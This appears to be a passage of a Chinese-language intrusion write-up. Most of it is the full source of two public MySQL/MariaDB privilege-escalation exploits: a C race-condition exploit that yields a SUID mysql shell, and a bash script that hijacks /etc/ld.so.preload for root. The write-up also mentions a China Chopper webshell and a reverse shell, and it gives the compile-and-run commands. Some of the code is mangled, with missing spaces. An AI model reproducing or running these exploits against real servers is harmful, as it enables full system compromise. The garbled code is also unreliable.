voidusage(char *argv0){ intro(); printf("Usage:\n\n%s user pass db_host database\n\n", argv0); }
voidmysql_cmd(char *sql_cmd, int silent){
if (!silent) { printf("%s \n", sql_cmd); } if (mysql_query(conn, sql_cmd)) { fprintf(stderr, "%s\n", mysql_error(conn)); exit(1); } res = mysql_store_result(conn); if (res>0) mysql_free_result(res);
}
intmain(int argc,char **argv) {
int randomnum = 0; int io_notified = 0; int myd_handle; int wpid; int is_shell_suid=0; pid_t pid; int status; structstatst; /* io notify */ int fd; int ret; char buf[4096] __attribute__((aligned(8))); int num_read; structinotify_event *event; /* credentials */ char *user = argv[1]; char *password = argv[2]; char *db_host = argv[3]; char *database = argv[4];
// Disable buffering of stdout setvbuf(stdout, NULL, _IONBF, 0);
// Get the params if (argc!=5) { usage(argv[0]); exit(1); } intro(); // Show initial privileges printf("\n[+] Starting the exploit as: \n"); system("id");
// Connect to the database server with provided credentials printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host); conn = mysql_init(NULL); if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) { fprintf(stderr, "%s\n", mysql_error(conn)); exit(1); }
// Prepare exploit tables :) printf("\n[+] Creating mysql tables \n\n"); mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0); mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0); mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0); mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
// Copy /bin/bash into the mysql_suid_shell.MYD mysql table file // The file should be owned by mysql:attacker thanks to the sticky bit on the table directory printf("\n[+] Copying bash into the mysql_suid_shell table.\n After the exploitation the following file/table will be assigned SUID and executable bits : \n"); system("cp /bin/bash " SUID_SHELL); system("ls -l " SUID_SHELL);
// Use inotify to get the timing right fd = inotify_init(); if (fd < 0) { printf("failed to inotify_init\n"); return-1; } ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);
/* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */
printf("\n[+] Entering the race loop... Hang in there...\n");
/* random num if needed */ srand ( time(NULL) ); randomnum = ( rand() % MAX_DELAY );
// Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink pid = fork(); if (pid < 0) { fprintf(stderr, "Fork failed :(\n"); }
/* Child process - executes REPAIR TABLE SQL statement */ if (pid == 0) { usleep(500); unlink(MYSQL_TEMP_FILE); mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1); // child stops here exit(0); }
/* Parent process - aims to replace the temp .tmd table with a symlink before chmod */ if (pid > 0 ) { io_notified = 0;
while (1) { int processed = 0; ret = read(fd, buf, sizeof(buf)); if (ret < 0) { break; } while (processed < ret) { event = (struct inotify_event *)(buf + processed); if (event->mask & IN_CLOSE) { if (!strcmp(event->name, "exploit_table.TMD")) { //usleep(randomnum);
// Set the .MYD permissions to suid+exec before they get copied to the .TMD file unlink(MYSQL_TAB_FILE); myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777); close(myd_handle); chmod(MYSQL_TAB_FILE, 04777);
// Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec unlink(MYSQL_TEMP_FILE); symlink(SUID_SHELL, MYSQL_TEMP_FILE); io_notified=1; } } processed += sizeof(struct inotify_event); } if (io_notified) { break; } }
waitpid(pid, &status, 0); }
// Check if SUID bit was set at the end of this attempt if ( lstat(SUID_SHELL, &st) == 0 ) { if (st.st_mode & S_ISUID) { is_shell_suid = 1; } }
}
printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt); system("ls -l " SUID_SHELL);
printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n"); system(SUID_SHELL " -p -i "); //system(SUID_SHELL " -p -c '/bin/bash -i -p'");
/* close MySQL connection and exit */ printf("\n[+] Job done. Exiting\n\n"); mysql_close(conn); return0;
}
我们通过菜刀写入exp:
菜刀这里执行总失败,我通过写入另一个shell反弹之后编译并执行
1 2
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient ./mysql-privesc-race test123456 localhost test
#!/bin/bash -p # # MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit # mysql-chowned.sh (ver. 1.0) # # CVE-2016-6664 / OCVE-2016-5617 # # Discovered and coded by: # # Dawid Golunski # dawid[at]legalhackers.com # # https://legalhackers.com # # Follow https://twitter.com/dawid_golunski for updates on this advisory. # # This PoC exploit allows attackers to (instantly) escalate their privileges # from mysql system account to root through unsafe error log handling. # The exploit requires that file-based logging has been configured (default). # To confirm that syslog logging has not been enabled instead use: # grep -r syslog /etc/mysql # which should return no results. # # This exploit can be chained with the following vulnerability: # CVE-2016-6663 / OCVE-2016-5616 # which allows attackers to gain access to mysql system account (mysql shell). # # In case database server has been configured with syslog you may also use: # CVE-2016-6662 as an alternative to this exploit. # # Usage: # ./mysql-chowned.sh path_to_error.log # # # See the full advisory for details at: # https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html # # Video PoC: # https://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html # # Disclaimer: # For testing purposes only. Do no harm. #
# Args if [ $# -lt 1 ]; then echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n" echo -e "It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n" exit3 fi
# Priv check
echo -e "\n[+] Starting the exploit as \n\033[94m`id`\033[0m" id | grep -q mysql if [ $? -ne 0 ]; then echo -e "\n[!] You need to execute the exploit as mysql user! Exiting.\n" exit3 fi
# Set target paths ERRORLOG="$1" if [ ! -f $ERRORLOG ]; then echo -e "\n[!] The specified MySQL catalina.out log ($ERRORLOG) doesn't exist. Try again.\n" exit3 fi echo -e "\n[+] Target MySQL log file set to $ERRORLOG"
# Safety check if [ -f /etc/ld.so.preload ]; then echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety." exit2 fi
# Symlink the log file to /etc rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG if [ $? -ne 0 ]; then echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink." cleanexit 3 fi echo -e "\n[+] Symlink created at: \n`ls -l $ERRORLOG`"
# Wait for MySQL to re-open the logs echo -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n" read -p "Do you want to kill mysqld process to instantly get root? :) ? [y/n] " THE_ANSWER if [ "$THE_ANSWER" = "y" ]; then echo -e "Got it. Executing 'killall mysqld' now..." killall mysqld fi while :; do sleep 0.1 if [ -f /etc/ld.so.preload ]; then echo $PRIVESCLIB > /etc/ld.so.preload rm -f $ERRORLOG break; fi done
# /etc/ dir should be owned by mysql user at this point # Inject the privesc.so shared library to escalate privileges echo $PRIVESCLIB > /etc/ld.so.preload echo -e "\n[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: \n`ls -l /etc/ld.so.preload`" echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload" echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`" chmod 755/etc/ld.so.preload
# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo) echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!" sudo 2>/dev/null >/dev/null
#while :; do # sleep 0.1 # ps aux | grep mysqld | grep -q 'log-error' # if [ $? -eq 0 ]; then # break; # fi #done
# Check for the rootshell ls -l $BACKDOORPATH ls -l $BACKDOORPATH | grep rws | grep -q root if [ $? -eq 0 ]; then echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`" echo -e "\n\033[94mGot root! The database server has been ch-OWNED !\033[0m" else echo -e "\n[!] Failed to get root" cleanexit 2 fi